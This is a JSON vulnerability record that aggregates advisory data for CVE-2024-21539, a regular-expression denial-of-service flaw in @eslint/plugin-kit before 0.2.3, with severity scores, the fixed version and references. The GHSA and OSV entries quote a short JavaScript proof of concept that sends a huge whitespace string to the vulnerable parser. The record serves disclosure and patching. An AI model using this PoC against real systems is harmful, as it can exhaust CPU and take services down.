{"id":"CVE-2024-21539","aliases":["EUVD-2024-3213","GHSA-7q7g-4xm8-89cq"],"status":"published","title":"Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit","description":"Versions of the package @eslint/plugin-kit before 0.2.3 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by exploiting this vulnerability.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00507,"percentile":0.43737,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333","CWE-770"],"published":"2024-11-15T20:47:31Z","modified":"2026-11-11T02:47:34Z","fixes":[{"ecosystem":"npm","package":"@eslint/plugin-kit","fixed_in":["0.2.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@eslint/plugin-kit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.3"}]}]},{"source":"osv","ecosystem":"npm","package":"@eslint/plugin-kit","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.2.3"}]}]}],"products":[{"vendor":"eslint","product":"rewrite"}],"references":[{"url":"https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8340627","tags":["web"]},{"url":"https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf","tags":["fix","web"]},{"url":"https://github.com/eslint/rewrite/security/advisories/GHSA-7q7g-4xm8-89cq","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-21539","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7q7g-4xm8-89cq"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/21xxx/CVE-2024-21539.json","tags":["advisory"]},{"url":"https://github.com/eslint/rewrite","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-21539","description":"Versions of the package @eslint/plugin-kit before 0.2.3 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by exploiting this vulnerability.","status":"published","published":"2024-11-19T05:00:02.929Z","modified":"2026-08-18T15:25:17.315Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P","level":"high","assessor":"cna"}],"cwes":["CWE-1333","CWE-770"],"updated_at":"2026-11-02T14:34:04.681315Z"}],"euvd":[{"id":"EUVD-2024-3213","description":"Versions of the package @eslint/plugin-kit before 0.2.3 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by exploiting this vulnerability.","status":"published","published":"2024-11-19T05:00:02Z","modified":"2026-08-18T15:25:17Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T18:01:46.405062Z"}],"ghsa":[{"id":"GHSA-7q7g-4xm8-89cq","title":"Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit","description":"Crafting a very large and well crafted string can increase the CPU usage and crash the program.\n\n## POC\n\n```js\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nvar str = \"\";\nfor (var i = 0; i \u003c 1000000; i++) {\n  str += \" \";\n}\nstr += \"A\";\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseStringConfig(str, \"\"));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit` and `node attack.js` \n// then the program will stuck forever with high CPU usage\n```","status":"published","published":"2024-11-15T20:47:31Z","modified":"2024-11-19T20:49:58Z","cvss":[{"version":"3.1","score":3.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-770","CWE-1333"],"updated_at":"2026-11-02T14:38:21.777721Z"}],"nvd":[{"id":"CVE-2024-21539","description":"Versions of the package @eslint/plugin-kit before 0.2.3 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by exploiting this vulnerability.","status":"published","published":"2024-11-19T05:15:16.453Z","modified":"2026-08-03T16:16:26.043Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-1333","CWE-770"],"updated_at":"2026-11-02T14:10:37.632431Z"}],"osv":[{"id":"CVE-2024-21539","description":"Versions of the package @eslint/plugin-kit before 0.2.3 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by exploiting this vulnerability.","status":"published","published":"2024-11-19T05:00:02.929Z","modified":"2026-11-11T10:47:04.288458806Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-11T03:22:28.447808Z"},{"id":"GHSA-7q7g-4xm8-89cq","title":"Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit","description":"Crafting a very large and well crafted string can increase the CPU usage and crash the program.\n\n## POC\n\n```js\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nvar str = \"\";\nfor (var i = 0; i \u003c 1000000; i++) {\n  str += \" \";\n}\nstr += \"A\";\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseStringConfig(str, \"\"));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit` and `node attack.js` \n// then the program will stuck forever with high CPU usage\n```","status":"published","published":"2024-11-15T20:47:31Z","modified":"2026-09-10T03:50:20.453343541Z","cvss":[{"version":"3.1","score":3.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-1333","CWE-770"],"updated_at":"2026-11-02T15:46:41.349637Z"}]}}
